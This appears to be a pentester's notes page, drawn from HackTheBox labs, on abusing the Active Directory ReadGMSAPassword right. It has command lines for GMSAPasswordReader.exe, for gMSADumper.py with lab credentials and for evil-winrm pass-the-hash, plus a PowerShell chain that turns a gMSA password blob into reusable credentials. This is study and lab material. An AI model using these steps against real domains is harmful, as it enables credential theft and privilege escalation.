ReadGMSAPassword allows an attacker to use the password of a Group Managed Service Account which usually has elevated privileges. Environment: Search from HacktheBox

Reading GMSA using GMSAPasswordReader.exe

If users can read the GMSA, it means that we can upload a binary called "GMSAPasswordReader.exe".

GMSAPasswordReader.exe --accountname ''

The rc4_hmac hash can be used interchangebly with the NTLM hash.

So we can just evil-winrm into that machine.

Remotely Read GMSA Passwords

ReadGMSAPasswordThe Hacker Recipes

GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub

If we for some reason do not have users who can authenticate to winrm we could posssibly use this to retrieve the hash remotely.

python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'

Converting the GMSA to Powershell Variable for Future Use

So lets say we compromised a user that has GMSA read on user2 and user2 has privileges to do somehting else, we shuold use the following chaing of commands to store the GMSApassword of user2 for future use.

In BloodHound Take a look at the Extra Properties tab of the user we can read hte GMSA password for. The CN:<BLAHBLAHBLAH> is important.

$gmsa = Get-ADServiceAccount -Identity <CN NAME OF ACCOUNT WE WANT TO COMPROMISE> -Properties 'msds-managedpassword'

$mp = $gmsa.'msds-managedpassword'

$mp1 = ConvertFrom-ADManagedPasswordBlob $mp

$passwd = $mp1.'currentpassword'

$user = '<CN of User of we can read gmsa password>'

$secpass = ConvertTo-SecureString $passwd -AsPlainText -Force

$cred = new-object system.management.automation.pscredential $user,$secpass

Now we can use the variable creds for future exploitation.
